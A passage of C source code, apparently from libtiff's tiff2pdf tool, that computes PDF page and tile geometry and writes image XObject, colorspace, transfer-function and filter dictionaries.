(tdata_t) buffer, buflen); written += t2pWriteFile(output, (tdata_t) " 0 R ", 5); written += t2pWriteFile(output, (tdata_t) ">>\n", 3); } if(t2p->tiff_transferfunctioncount != 0) { written += t2pWriteFile(output, (tdata_t) "/ExtGState <<", 13); t2pWriteFile(output, (tdata_t) "/GS1 ", 5); buflen = snprintf(buffer, sizeof(buffer), "%lu", (unsigned long)(object + 3)); check_snprintf_ret(t2p, buflen, buffer); written += t2pWriteFile(output, (tdata_t) buffer, buflen); written += t2pWriteFile(output, (tdata_t) " 0 R ", 5); written += t2pWriteFile(output, (tdata_t) ">> \n", 4); } written += t2pWriteFile(output, (tdata_t) "/ProcSet [ ", 11); if(t2p->pdf_colorspace & T2P_CS_BILEVEL || t2p->pdf_colorspace & T2P_CS_GRAY ){ written += t2pWriteFile(output, (tdata_t) "/ImageB ", 8); } else { written += t2pWriteFile(output, (tdata_t) "/ImageC ", 8); if(t2p->pdf_colorspace & T2P_CS_PALETTE){ written += t2pWriteFile(output, (tdata_t) "/ImageI ", 8); } } written += t2pWriteFile(output, (tdata_t) "]\n>>\n>>\n", 8); return(written); } /* This function composes the page size and image and tile locations on a page. */ void t2p_compose_pdf_page(T2P* t2p){ uint32 i=0; uint32 i2=0; T2P_TILE* tiles=NULL; T2P_BOX* boxp=NULL; uint32 tilecountx=0; uint32 tilecounty=0; uint32 tilewidth=0; uint32 tilelength=0; int istiled=0; float f=0; float width_ratio=0; float length_ratio=0; t2p->pdf_xres = t2p->tiff_xres; t2p->pdf_yres = t2p->tiff_yres; if(t2p->pdf_overrideres) { t2p->pdf_xres = t2p->pdf_defaultxres; t2p->pdf_yres = t2p->pdf_defaultyres; } if(t2p->pdf_xres == 0.0) t2p->pdf_xres = t2p->pdf_defaultxres; if(t2p->pdf_yres == 0.0) t2p->pdf_yres = t2p->pdf_defaultyres; if (t2p->pdf_image_fillpage) { width_ratio = t2p->pdf_defaultpagewidth/t2p->tiff_width; length_ratio = t2p->pdf_defaultpagelength/t2p->tiff_length; if (width_ratio < length_ratio ) { t2p->pdf_imagewidth = t2p->pdf_defaultpagewidth; t2p->pdf_imagelength = t2p->tiff_length * width_ratio; } else { t2p->pdf_imagewidth = t2p->tiff_width * length_ratio; t2p->pdf_imagelength = t2p->pdf_defaultpagelength; } } else if (t2p->tiff_resunit != RESUNIT_CENTIMETER /* RESUNIT_NONE and */ && t2p->tiff_resunit != RESUNIT_INCH) { /* other cases */ t2p->pdf_imagewidth = ((float)(t2p->tiff_width))/t2p->pdf_xres; t2p->pdf_imagelength = ((float)(t2p->tiff_length))/t2p->pdf_yres; } else { t2p->pdf_imagewidth = ((float)(t2p->tiff_width))*PS_UNIT_SIZE/t2p->pdf_xres; t2p->pdf_imagelength = ((float)(t2p->tiff_length))*PS_UNIT_SIZE/t2p->pdf_yres; } if(t2p->pdf_overridepagesize != 0) { t2p->pdf_pagewidth = t2p->pdf_defaultpagewidth; t2p->pdf_pagelength = t2p->pdf_defaultpagelength; } else { t2p->pdf_pagewidth = t2p->pdf_imagewidth; t2p->pdf_pagelength = t2p->pdf_imagelength; } t2p->pdf_mediabox.x1=0.0; t2p->pdf_mediabox.y1=0.0; t2p->pdf_mediabox.x2=t2p->pdf_pagewidth; t2p->pdf_mediabox.y2=t2p->pdf_pagelength; t2p->pdf_imagebox.x1=0.0; t2p->pdf_imagebox.y1=0.0; t2p->pdf_imagebox.x2=t2p->pdf_imagewidth; t2p->pdf_imagebox.y2=t2p->pdf_imagelength; if(t2p->pdf_overridepagesize!=0){ t2p->pdf_imagebox.x1+=((t2p->pdf_pagewidth-t2p->pdf_imagewidth)/2.0F); t2p->pdf_imagebox.y1+=((t2p->pdf_pagelength-t2p->pdf_imagelength)/2.0F); t2p->pdf_imagebox.x2+=((t2p->pdf_pagewidth-t2p->pdf_imagewidth)/2.0F); t2p->pdf_imagebox.y2+=((t2p->pdf_pagelength-t2p->pdf_imagelength)/2.0F); } if(t2p->tiff_orientation > 4){ f=t2p->pdf_mediabox.x2; t2p->pdf_mediabox.x2=t2p->pdf_mediabox.y2; t2p->pdf_mediabox.y2=f; } istiled=((t2p->tiff_tiles[t2p->pdf_page]).tiles_tilecount==0) ? 0 : 1; if(istiled==0){ t2p_compose_pdf_page_orient(&(t2p->pdf_imagebox), t2p->tiff_orientation); return; } else { tilewidth=(t2p->tiff_tiles[t2p->pdf_page]).tiles_tilewidth; tilelength=(t2p->tiff_tiles[t2p->pdf_page]).tiles_tilelength; if( tilewidth > INT_MAX || tilelength > INT_MAX || t2p->tiff_width > INT_MAX - tilewidth || t2p->tiff_length > INT_MAX - tilelength ) { TIFFError(TIFF2PDF_MODULE, "Integer overflow"); t2p->t2p_error = T2P_ERR_ERROR; return; } tilecountx=(t2p->tiff_width + tilewidth -1)/ tilewidth; (t2p->tiff_tiles[t2p->pdf_page]).tiles_tilecountx=tilecountx; tilecounty=(t2p->tiff_length + tilelength -1)/ tilelength; (t2p->tiff_tiles[t2p->pdf_page]).tiles_tilecounty=tilecounty; (t2p->tiff_tiles[t2p->pdf_page]).tiles_edgetilewidth= t2p->tiff_width % tilewidth; (t2p->tiff_tiles[t2p->pdf_page]).tiles_edgetilelength= t2p->tiff_length % tilelength; tiles=(t2p->tiff_tiles[t2p->pdf_page]).tiles_tiles; for(i2=0;i2<tilecounty-1;i2++){ for(i=0;i<tilecountx-1;i++){ boxp=&(tiles[i2*tilecountx+i].tile_box); boxp->x1 = t2p->pdf_imagebox.x1 + ((float)(t2p->pdf_imagewidth * i * tilewidth) / (float)t2p->tiff_width); boxp->x2 = t2p->pdf_imagebox.x1 + ((float)(t2p->pdf_imagewidth * (i+1) * tilewidth) / (float)t2p->tiff_width); boxp->y1 = t2p->pdf_imagebox.y2 - ((float)(t2p->pdf_imagelength * (i2+1) * tilelength) / (float)t2p->tiff_length); boxp->y2 = t2p->pdf_imagebox.y2 - ((float)(t2p->pdf_imagelength * i2 * tilelength) / (float)t2p->tiff_length); } boxp=&(tiles[i2*tilecountx+i].tile_box); boxp->x1 = t2p->pdf_imagebox.x1 + ((float)(t2p->pdf_imagewidth * i * tilewidth) / (float)t2p->tiff_width); boxp->x2 = t2p->pdf_imagebox.x2; boxp->y1 = t2p->pdf_imagebox.y2 - ((float)(t2p->pdf_imagelength * (i2+1) * tilelength) / (float)t2p->tiff_length); boxp->y2 = t2p->pdf_imagebox.y2 - ((float)(t2p->pdf_imagelength * i2 * tilelength) / (float)t2p->tiff_length); } for(i=0;i<tilecountx-1;i++){ boxp=&(tiles[i2*tilecountx+i].tile_box); boxp->x1 = t2p->pdf_imagebox.x1 + ((float)(t2p->pdf_imagewidth * i * tilewidth) / (float)t2p->tiff_width); boxp->x2 = t2p->pdf_imagebox.x1 + ((float)(t2p->pdf_imagewidth * (i+1) * tilewidth) / (float)t2p->tiff_width); boxp->y1 = t2p->pdf_imagebox.y1; boxp->y2 = t2p->pdf_imagebox.y2 - ((float)(t2p->pdf_imagelength * i2 * tilelength) / (float)t2p->tiff_length); } boxp=&(tiles[i2*tilecountx+i].tile_box); boxp->x1 = t2p->pdf_imagebox.x1 + ((float)(t2p->pdf_imagewidth * i * tilewidth) / (float)t2p->tiff_width); boxp->x2 = t2p->pdf_imagebox.x2; boxp->y1 = t2p->pdf_imagebox.y1; boxp->y2 = t2p->pdf_imagebox.y2 - ((float)(t2p->pdf_imagelength * i2 * tilelength) / (float)t2p->tiff_length); } if(t2p->tiff_orientation==0 || t2p->tiff_orientation==1){ for(i=0;i<(t2p->tiff_tiles[t2p->pdf_page]).tiles_tilecount;i++){ t2p_compose_pdf_page_orient( &(tiles[i].tile_box) , 0); } return; } for(i=0;i<(t2p->tiff_tiles[t2p->pdf_page]).tiles_tilecount;i++){ boxp=&(tiles[i].tile_box); boxp->x1 -= t2p->pdf_imagebox.x1; boxp->x2 -= t2p->pdf_imagebox.x1; boxp->y1 -= t2p->pdf_imagebox.y1; boxp->y2 -= t2p->pdf_imagebox.y1; if(t2p->tiff_orientation==2 || t2p->tiff_orientation==3){ boxp->x1 = t2p->pdf_imagebox.x2 - t2p->pdf_imagebox.x1 - boxp->x1; boxp->x2 = t2p->pdf_imagebox.x2 - t2p->pdf_imagebox.x1 - boxp->x2; } if(t2p->tiff_orientation==3 || t2p->tiff_orientation==4){ boxp->y1 = t2p->pdf_imagebox.y2 - t2p->pdf_imagebox.y1 - boxp->y1; boxp->y2 = t2p->pdf_imagebox.y2 - t2p->pdf_imagebox.y1 - boxp->y2; } if(t2p->tiff_orientation==8 || t2p->tiff_orientation==5){ boxp->y1 = t2p->pdf_imagebox.y2 - t2p->pdf_imagebox.y1 - boxp->y1; boxp->y2 = t2p->pdf_imagebox.y2 - t2p->pdf_imagebox.y1 - boxp->y2; } if(t2p->tiff_orientation==5 || t2p->tiff_orientation==6){ boxp->x1 = t2p->pdf_imagebox.x2 - t2p->pdf_imagebox.x1 - boxp->x1; boxp->x2 = t2p->pdf_imagebox.x2 - t2p->pdf_imagebox.x1 - boxp->x2; } if(t2p->tiff_orientation > 4){ f=boxp->x1; boxp->x1 = boxp->y1; boxp->y1 = f; f=boxp->x2; boxp->x2 = boxp->y2; boxp->y2 = f; t2p_compose_pdf_page_orient_flip(boxp, t2p->tiff_orientation); } else { t2p_compose_pdf_page_orient(boxp, t2p->tiff_orientation); } } return; } void t2p_compose_pdf_page_orient(T2P_BOX* boxp, uint16 orientation){ float m1[9]; float f=0.0; if( boxp->x1 > boxp->x2){ f=boxp->x1; boxp->x1=boxp->x2; boxp->x2 = f; } if( boxp->y1 > boxp->y2){ f=boxp->y1; boxp->y1=boxp->y2; boxp->y2 = f; } boxp->mat[0]=m1[0]=boxp->x2-boxp->x1; boxp->mat[1]=m1[1]=0.0; boxp->mat[2]=m1[2]=0.0; boxp->mat[3]=m1[3]=0.0; boxp->mat[4]=m1[4]=boxp->y2-boxp->y1; boxp->mat[5]=m1[5]=0.0; boxp->mat[6]=m1[6]=boxp->x1; boxp->mat[7]=m1[7]=boxp->y1; boxp->mat[8]=m1[8]=1.0; switch(orientation){ case 0: case 1: break; case 2: boxp->mat[0]=0.0F-m1[0]; boxp->mat[6]+=m1[0]; break; case 3: boxp->mat[0]=0.0F-m1[0]; boxp->mat[4]=0.0F-m1[4]; boxp->mat[6]+=m1[0]; boxp->mat[7]+=m1[4]; break; case 4: boxp->mat[4]=0.0F-m1[4]; boxp->mat[7]+=m1[4]; break; case 5: boxp->mat[0]=0.0F; boxp->mat[1]=0.0F-m1[0]; boxp->mat[3]=0.0F-m1[4]; boxp->mat[4]=0.0F; boxp->mat[6]+=m1[4]; boxp->mat[7]+=m1[0]; break; case 6: boxp->mat[0]=0.0F; boxp->mat[1]=0.0F-m1[0]; boxp->mat[3]=m1[4]; boxp->mat[4]=0.0F; boxp->mat[7]+=m1[0]; break; case 7: boxp->mat[0]=0.0F; boxp->mat[1]=m1[0]; boxp->mat[3]=m1[4]; boxp->mat[4]=0.0F; break; case 8: boxp->mat[0]=0.0F; boxp->mat[1]=m1[0]; boxp->mat[3]=0.0F-m1[4]; boxp->mat[4]=0.0F; boxp->mat[6]+=m1[4]; break; } return; } void t2p_compose_pdf_page_orient_flip(T2P_BOX* boxp, uint16 orientation){ float m1[9]; float f=0.0; if( boxp->x1 > boxp->x2){ f=boxp->x1; boxp->x1=boxp->x2; boxp->x2 = f; } if( boxp->y1 > boxp->y2){ f=boxp->y1; boxp->y1=boxp->y2; boxp->y2 = f; } boxp->mat[0]=m1[0]=boxp->x2-boxp->x1; boxp->mat[1]=m1[1]=0.0F; boxp->mat[2]=m1[2]=0.0F; boxp->mat[3]=m1[3]=0.0F; boxp->mat[4]=m1[4]=boxp->y2-boxp->y1; boxp->mat[5]=m1[5]=0.0F; boxp->mat[6]=m1[6]=boxp->x1; boxp->mat[7]=m1[7]=boxp->y1; boxp->mat[8]=m1[8]=1.0F; switch(orientation){ case 5: boxp->mat[0]=0.0F; boxp->mat[1]=0.0F-m1[4]; boxp->mat[3]=0.0F-m1[0]; boxp->mat[4]=0.0F; boxp->mat[6]+=m1[0]; boxp->mat[7]+=m1[4]; break; case 6: boxp->mat[0]=0.0F; boxp->mat[1]=0.0F-m1[4]; boxp->mat[3]=m1[0]; boxp->mat[4]=0.0F; boxp->mat[7]+=m1[4]; break; case 7: boxp->mat[0]=0.0F; boxp->mat[1]=m1[4]; boxp->mat[3]=m1[0]; boxp->mat[4]=0.0F; break; case 8: boxp->mat[0]=0.0F; boxp->mat[1]=m1[4]; boxp->mat[3]=0.0F-m1[0]; boxp->mat[4]=0.0F; boxp->mat[6]+=m1[0]; break; } return; } /* This function writes a PDF Contents stream to output. */ tsize_t t2p_write_pdf_page_content_stream(T2P* t2p, TIFF* output){ tsize_t written=0; ttile_t i=0; char buffer[512]; int buflen=0; T2P_BOX box; if(t2p->tiff_tiles[t2p->pdf_page].tiles_tilecount>0){ for(i=0;i<t2p->tiff_tiles[t2p->pdf_page].tiles_tilecount; i++){ box=t2p->tiff_tiles[t2p->pdf_page].tiles_tiles[i].tile_box; buflen=snprintf(buffer, sizeof(buffer), "q %s %.4f %.4f %.4f %.4f %.4f %.4f cm /Im%d_%ld Do Q\n", t2p->tiff_transferfunctioncount?"/GS1 gs ":"", box.mat[0], box.mat[1], box.mat[3], box.mat[4], box.mat[6], box.mat[7], t2p->pdf_page + 1, (long)(i + 1)); check_snprintf_ret(t2p, buflen, buffer); written += t2p_write_pdf_stream(buffer, buflen, output); } } else { box=t2p->pdf_imagebox; buflen=snprintf(buffer, sizeof(buffer), "q %s %.4f %.4f %.4f %.4f %.4f %.4f cm /Im%d Do Q\n", t2p->tiff_transferfunctioncount?"/GS1 gs ":"", box.mat[0], box.mat[1], box.mat[3], box.mat[4], box.mat[6], box.mat[7], t2p->pdf_page+1); check_snprintf_ret(t2p, buflen, buffer); written += t2p_write_pdf_stream(buffer, buflen, output); } return(written); } /* This function writes a PDF Image XObject stream dictionary to output. */ tsize_t t2p_write_pdf_xobject_stream_dict(ttile_t tile, T2P* t2p, TIFF* output){ tsize_t written=0; char buffer[32]; int buflen=0; written += t2p_write_pdf_stream_dict(0, t2p->pdf_xrefcount+1, output); written += t2pWriteFile(output, (tdata_t) "/Type /XObject \n/Subtype /Image \n/Name /Im", 42); buflen=snprintf(buffer, sizeof(buffer), "%u", t2p->pdf_page+1); check_snprintf_ret(t2p, buflen, buffer); written += t2pWriteFile(output, (tdata_t) buffer, buflen); if(tile != 0){ written += t2pWriteFile(output, (tdata_t) "_", 1); buflen=snprintf(buffer, sizeof(buffer), "%lu", (unsigned long)tile); check_snprintf_ret(t2p, buflen, buffer); written += t2pWriteFile(output, (tdata_t) buffer, buflen); } written += t2pWriteFile(output, (tdata_t) "\n/Width ", 8); if(tile==0){ buflen=snprintf(buffer, sizeof(buffer), "%lu", (unsigned long)t2p->tiff_width); } else { if(t2p_tile_is_right_edge(t2p->tiff_tiles[t2p->pdf_page], tile-1)!=0){ buflen=snprintf(buffer, sizeof(buffer), "%lu", (unsigned long)t2p->tiff_tiles[t2p->pdf_page].tiles_edgetilewidth); } else { buflen=snprintf(buffer, sizeof(buffer), "%lu", (unsigned long)t2p->tiff_tiles[t2p->pdf_page].tiles_tilewidth); } } check_snprintf_ret(t2p, buflen, buffer); written += t2pWriteFile(output, (tdata_t) buffer, buflen); written += t2pWriteFile(output, (tdata_t) "\n/Height ", 9); if(tile==0){ buflen=snprintf(buffer, sizeof(buffer), "%lu", (unsigned long)t2p->tiff_length); } else { if(t2p_tile_is_bottom_edge(t2p->tiff_tiles[t2p->pdf_page], tile-1)!=0){ buflen=snprintf(buffer, sizeof(buffer), "%lu", (unsigned long)t2p->tiff_tiles[t2p->pdf_page].tiles_edgetilelength); } else { buflen=snprintf(buffer, sizeof(buffer), "%lu", (unsigned long)t2p->tiff_tiles[t2p->pdf_page].tiles_tilelength); } } check_snprintf_ret(t2p, buflen, buffer); written += t2pWriteFile(output, (tdata_t) buffer, buflen); written += t2pWriteFile(output, (tdata_t) "\n/BitsPerComponent ", 19); buflen=snprintf(buffer, sizeof(buffer), "%u", t2p->tiff_bitspersample); check_snprintf_ret(t2p, buflen, buffer); written += t2pWriteFile(output, (tdata_t) buffer, buflen); written += t2pWriteFile(output, (tdata_t) "\n/ColorSpace ", 13); written += t2p_write_pdf_xobject_cs(t2p, output); if (t2p->pdf_image_interpolate) written += t2pWriteFile(output, (tdata_t) "\n/Interpolate true", 18); if( (t2p->pdf_switchdecode != 0) #ifdef CCITT_SUPPORT && ! (t2p->pdf_colorspace & T2P_CS_BILEVEL && t2p->pdf_compression == T2P_COMPRESS_G4) #endif ){ written += t2p_write_pdf_xobject_decode(t2p, output); } written += t2p_write_pdf_xobject_stream_filter(tile, t2p, output); return(written); } /* * This function writes a PDF Image XObject Colorspace name to output. */ tsize_t t2p_write_pdf_xobject_cs(T2P* t2p, TIFF* output){ tsize_t written=0; char buffer[128]; int buflen=0; float X_W=1.0; float Y_W=1.0; float Z_W=1.0; if( (t2p->pdf_colorspace & T2P_CS_ICCBASED) != 0){ written += t2p_write_pdf_xobject_icccs(t2p, output); return(written); } if( (t2p->pdf_colorspace & T2P_CS_PALETTE) != 0){ written += t2pWriteFile(output, (tdata_t) "[ /Indexed ", 11); t2p->pdf_colorspace ^= T2P_CS_PALETTE; written += t2p_write_pdf_xobject_cs(t2p, output); t2p->pdf_colorspace |= T2P_CS_PALETTE; buflen=snprintf(buffer, sizeof(buffer), "%u", (0x0001 << t2p->tiff_bitspersample)-1 ); check_snprintf_ret(t2p, buflen, buffer); written += t2pWriteFile(output, (tdata_t) buffer, buflen); written += t2pWriteFile(output, (tdata_t) " ", 1); buflen=snprintf(buffer, sizeof(buffer), "%lu", (unsigned long)t2p->pdf_palettecs ); check_snprintf_ret(t2p, buflen, buffer); written += t2pWriteFile(output, (tdata_t) buffer, buflen); written += t2pWriteFile(output, (tdata_t) " 0 R ]\n", 7); return(written); } if(t2p->pdf_colorspace & T2P_CS_BILEVEL){ written += t2pWriteFile(output, (tdata_t) "/DeviceGray \n", 13); } if(t2p->pdf_colorspace & T2P_CS_GRAY){ if(t2p->pdf_colorspace & T2P_CS_CALGRAY){ written += t2p_write_pdf_xobject_calcs(t2p, output); } else { written += t2pWriteFile(output, (tdata_t) "/DeviceGray \n", 13); } } if(t2p->pdf_colorspace & T2P_CS_RGB){ if(t2p->pdf_colorspace & T2P_CS_CALRGB){ written += t2p_write_pdf_xobject_calcs(t2p, output); } else { written += t2pWriteFile(output, (tdata_t) "/DeviceRGB \n", 12); } } if(t2p->pdf_colorspace & T2P_CS_CMYK){ written += t2pWriteFile(output, (tdata_t) "/DeviceCMYK \n", 13); } if(t2p->pdf_colorspace & T2P_CS_LAB){ written += t2pWriteFile(output, (tdata_t) "[/Lab << \n", 10); written += t2pWriteFile(output, (tdata_t) "/WhitePoint ", 12); X_W = t2p->tiff_whitechromaticities[0]; Y_W = t2p->tiff_whitechromaticities[1]; Z_W = 1.0F - (X_W + Y_W); X_W /= Y_W; Z_W /= Y_W; Y_W = 1.0F; buflen=snprintf(buffer, sizeof(buffer), "[%.4f %.4f %.4f] \n", X_W, Y_W, Z_W); check_snprintf_ret(t2p, buflen, buffer); written += t2pWriteFile(output, (tdata_t) buffer, buflen); written += t2pWriteFile(output, (tdata_t) "/Range ", 7); buflen=snprintf(buffer, sizeof(buffer), "[%d %d %d %d] \n", t2p->pdf_labrange[0], t2p->pdf_labrange[1], t2p->pdf_labrange[2], t2p->pdf_labrange[3]); check_snprintf_ret(t2p, buflen, buffer); written += t2pWriteFile(output, (tdata_t) buffer, buflen); written += t2pWriteFile(output, (tdata_t) ">>] \n", 5); } return(written); } tsize_t t2p_write_pdf_transfer(T2P* t2p, TIFF* output){ tsize_t written=0; char buffer[32]; int buflen=0; written += t2pWriteFile(output, (tdata_t) "<< /Type /ExtGState \n/TR ", 25); if(t2p->tiff_transferfunctioncount == 1){ buflen=snprintf(buffer, sizeof(buffer), "%lu", (unsigned long)(t2p->pdf_xrefcount + 1)); check_snprintf_ret(t2p, buflen, buffer); written += t2pWriteFile(output, (tdata_t) buffer, buflen); written += t2pWriteFile(output, (tdata_t) " 0 R ", 5); } else { written += t2pWriteFile(output, (tdata_t) "[ ", 2); buflen=snprintf(buffer, sizeof(buffer), "%lu", (unsigned long)(t2p->pdf_xrefcount + 1)); check_snprintf_ret(t2p, buflen, buffer); written += t2pWriteFile(output, (tdata_t) buffer, buflen); written += t2pWriteFile(output, (tdata_t) " 0 R ", 5); buflen=snprintf(buffer, sizeof(buffer), "%lu", (unsigned long)(t2p->pdf_xrefcount + 2)); check_snprintf_ret(t2p, buflen, buffer); written += t2pWriteFile(output, (tdata_t) buffer, buflen); written += t2pWriteFile(output, (tdata_t) " 0 R ", 5); buflen=snprintf(buffer, sizeof(buffer), "%lu", (unsigned long)(t2p->pdf_xrefcount + 3)); check_snprintf_ret(t2p, buflen, buffer); written += t2pWriteFile(output, (tdata_t) buffer, buflen); written += t2pWriteFile(output, (tdata_t) " 0 R ", 5); written += t2pWriteFile(output, (tdata_t) "/Identity ] ", 12); } written += t2pWriteFile(output, (tdata_t) " >> \n", 5); return(written); } tsize_t t2p_write_pdf_transfer_dict(T2P* t2p, TIFF* output, uint16 i){ tsize_t written=0; char buffer[32]; int buflen=0; (void)i; /* XXX */ written += t2pWriteFile(output, (tdata_t) "/FunctionType 0 \n", 17); written += t2pWriteFile(output, (tdata_t) "/Domain [0.0 1.0] \n", 19); written += t2pWriteFile(output, (tdata_t) "/Range [0.0 1.0] \n", 18); buflen=snprintf(buffer, sizeof(buffer), "/Size [%u] \n", (1<<t2p->tiff_bitspersample)); check_snprintf_ret(t2p, buflen, buffer); written += t2pWriteFile(output, (tdata_t) buffer, buflen); written += t2pWriteFile(output, (tdata_t) "/BitsPerSample 16 \n", 19); written += t2p_write_pdf_stream_dict(((tsize_t)1)<<(t2p->tiff_bitspersample+1), 0, output); return(written); } tsize_t t2p_write_pdf_transfer_stream(T2P* t2p, TIFF* output, uint16 i){ tsize_t written=0; written += t2p_write_pdf_stream( t2p->tiff_transferfunction[i], (((tsize_t)1)<<(t2p->tiff_bitspersample+1)), output); return(written); } /* This function writes a PDF Image XObject Colorspace array to output. */ tsize_t t2p_write_pdf_xobject_calcs(T2P* t2p, TIFF* output){ tsize_t written=0; char buffer[256]; int buflen=0; float X_W=0.0; float Y_W=0.0; float Z_W=0.0; float X_R=0.0; float Y_R=0.0; float Z_R=0.0; float X_G=0.0; float Y_G=0.0; float Z_G=0.0; float X_B=0.0; float Y_B=0.0; float Z_B=0.0; float x_w=0.0; float y_w=0.0; float z_w=0.0; float x_r=0.0; float y_r=0.0; float x_g=0.0; float y_g=0.0; float x_b=0.0; float y_b=0.0; float R=1.0; float G=1.0; float B=1.0; written += t2pWriteFile(output, (tdata_t) "[", 1); if(t2p->pdf_colorspace & T2P_CS_CALGRAY){ written += t2pWriteFile(output, (tdata_t) "/CalGray ", 9); X_W = t2p->tiff_whitechromaticities[0]; Y_W = t2p->tiff_whitechromaticities[1]; Z_W = 1.0F - (X_W + Y_W); X_W /= Y_W; Z_W /= Y_W; Y_W = 1.0F; } if(t2p->pdf_colorspace & T2P_CS_CALRGB){ written += t2pWriteFile(output, (tdata_t) "/CalRGB ", 8); x_w = t2p->tiff_whitechromaticities[0]; y_w = t2p->tiff_whitechromaticities[1]; x_r = t2p->tiff_primarychromaticities[0]; y_r = t2p->tiff_primarychromaticities[1]; x_g = t2p->tiff_primarychromaticities[2]; y_g = t2p->tiff_primarychromaticities[3]; x_b = t2p->tiff_primarychromaticities[4]; y_b = t2p->tiff_primarychromaticities[5]; z_w = y_w * ((x_g - x_b)*y_r - (x_r-x_b)*y_g + (x_r-x_g)*y_b); Y_R = (y_r/R) * ((x_g-x_b)*y_w - (x_w-x_b)*y_g + (x_w-x_g)*y_b) / z_w; X_R = Y_R * x_r / y_r; Z_R = Y_R * (((1-x_r)/y_r)-1); Y_G = ((0.0F-(y_g))/G) * ((x_r-x_b)*y_w - (x_w-x_b)*y_r + (x_w-x_r)*y_b) / z_w; X_G = Y_G * x_g / y_g; Z_G = Y_G * (((1-x_g)/y_g)-1); Y_B = (y_b/B) * ((x_r-x_g)*y_w - (x_w-x_g)*y_r + (x_w-x_r)*y_g) / z_w; X_B = Y_B * x_b / y_b; Z_B = Y_B * (((1-x_b)/y_b)-1); X_W = (X_R * R) + (X_G * G) + (X_B * B); Y_W = (Y_R * R) + (Y_G * G) + (Y_B * B); Z_W = (Z_R * R) + (Z_G * G) + (Z_B * B); X_W /= Y_W; Z_W /= Y_W; Y_W = 1.0; } written += t2pWriteFile(output, (tdata_t) "<< \n", 4); if(t2p->pdf_colorspace & T2P_CS_CALGRAY){ written += t2pWriteFile(output, (tdata_t) "/WhitePoint ", 12); buflen=snprintf(buffer, sizeof(buffer), "[%.4f %.4f %.4f] \n", X_W, Y_W, Z_W); check_snprintf_ret(t2p, buflen, buffer); written += t2pWriteFile(output, (tdata_t) buffer, buflen); written += t2pWriteFile(output, (tdata_t) "/Gamma 2.2 \n", 12); } if(t2p->pdf_colorspace & T2P_CS_CALRGB){ written += t2pWriteFile(output, (tdata_t) "/WhitePoint ", 12); buflen=snprintf(buffer, sizeof(buffer), "[%.4f %.4f %.4f] \n", X_W, Y_W, Z_W); check_snprintf_ret(t2p, buflen, buffer); written += t2pWriteFile(output, (tdata_t) buffer, buflen); written += t2pWriteFile(output, (tdata_t) "/Matrix ", 8); buflen=snprintf(buffer, sizeof(buffer), "[%.4f %.4f %.4f %.4f %.4f %.4f %.4f %.4f %.4f] \n", X_R, Y_R, Z_R, X_G, Y_G, Z_G, X_B, Y_B, Z_B); check_snprintf_ret(t2p, buflen, buffer); written += t2pWriteFile(output, (tdata_t) buffer, buflen); written += t2pWriteFile(output, (tdata_t) "/Gamma [2.2 2.2 2.2] \n", 22); } written += t2pWriteFile(output, (tdata_t) ">>] \n", 5); return(written); } /* This function writes a PDF Image XObject Colorspace array to output. */ tsize_t t2p_write_pdf_xobject_icccs(T2P* t2p, TIFF* output){ tsize_t written=0; char buffer[32]; int buflen=0; written += t2pWriteFile(output, (tdata_t) "[/ICCBased ", 11); buflen=snprintf(buffer, sizeof(buffer), "%lu", (unsigned long)t2p->pdf_icccs); check_snprintf_ret(t2p, buflen, buffer); written += t2pWriteFile(output, (tdata_t) buffer, buflen); written += t2pWriteFile(output, (tdata_t) " 0 R] \n", 7); return(written); } tsize_t t2p_write_pdf_xobject_icccs_dict(T2P* t2p, TIFF* output){ tsize_t written=0; char buffer[32]; int buflen=0; written += t2pWriteFile(output, (tdata_t) "/N ", 3); buflen=snprintf(buffer, sizeof(buffer), "%u \n", t2p->tiff_samplesperpixel); check_snprintf_ret(t2p, buflen, buffer); written += t2pWriteFile(output, (tdata_t) buffer, buflen); written += t2pWriteFile(output, (tdata_t) "/Alternate ", 11); t2p->pdf_colorspace ^= T2P_CS_ICCBASED; written += t2p_write_pdf_xobject_cs(t2p, output); t2p->pdf_colorspace |= T2P_CS_ICCBASED; written += t2p_write_pdf_stream_dict(t2p->tiff_iccprofilelength, 0, output); return(written); } tsize_t t2p_write_pdf_xobject_icccs_stream(T2P* t2p, TIFF* output){ tsize_t written=0; written += t2p_write_pdf_stream( (tdata_t) t2p->tiff_iccprofile, (tsize_t) t2p->tiff_iccprofilelength, output); return(written); } /* This function writes a palette stream for an indexed color space to output. */ tsize_t t2p_write_pdf_xobject_palettecs_stream(T2P* t2p, TIFF* output){ tsize_t written=0; written += t2p_write_pdf_stream( (tdata_t) t2p->pdf_palette, (tsize_t) t2p->pdf_palettesize, output); return(written); } /* This function writes a PDF Image XObject Decode array to output. */ tsize_t t2p_write_pdf_xobject_decode(T2P* t2p, TIFF* output){ tsize_t written=0; int i=0; written += t2pWriteFile(output, (tdata_t) "/Decode [ ", 10); for (i=0;i<t2p->tiff_samplesperpixel;i++){ written += t2pWriteFile(output, (tdata_t) "1 0 ", 4); } written += t2pWriteFile(output, (tdata_t) "]\n", 2); return(written); } /* This function writes a PDF Image XObject stream filter name and parameters to output. */ tsize_t t2p_write_pdf_xobject_stream_filter(ttile_t tile, T2P* t2p, TIFF* output){ tsize_t written=0; char buffer[32]; int buflen=0; if(t2p->pdf_compression==T2P_COMPRESS_NONE){ return(written); } written += t2pWriteFile(output, (tdata_t) "/Filter ", 8); switch(t2p->pdf_compression){ #ifdef CCITT_SUPPORT case T2P_COMPRESS_G4: written += t2pWriteFile(output, (tdata_t) "/CCITTFaxDecode ", 16); written += t2pWriteFile(output, (tdata_t) "/DecodeParms ", 13); written += t2pWriteFile(output, (tdata_t) "<< /K -1 ", 9); if(tile==0){ written += t2pWriteFile(output, (tdata_t) "/Columns ", 9); buflen=snprintf(buffer, sizeof(buffer), "%lu", (unsigned long)t2p->tiff_width); check_snprintf_ret(t2p, buflen, buffer); written += t2pWriteFile(output, (tdata_t) buffer, buflen); written += t2pWriteFile(output, (tdata_t) " /Rows ", 7); buflen=snprintf(buffer, sizeof(buffer), "%lu", (unsigned long)t2p->tiff_length); check_snprintf_ret(t2p, buflen, buffer); written += t2pWriteFile(output, (tdata_t) buffer, buflen); } else { if(t2p_tile_is_right_edge(t2p->tiff_tiles[t2p->pdf_page], tile-1)==0){ written += t2pWriteFile(output, (tdata_t) "/Columns ", 9); buflen=snprintf(buffer, sizeof(buffer), "%lu", (unsigned long)t2p->tiff_tiles[t2p->pdf_page].tiles_tilewidth); check_snprintf_ret(t2p, buflen, buffer); written += t2pWriteFile(output, (tdata_t) buffer, buflen); } else { written += t2pWriteFile(output, (tdata_t) "/Columns ", 9); buflen=snprintf(buffer, sizeof(buffer), "%lu", (unsigned 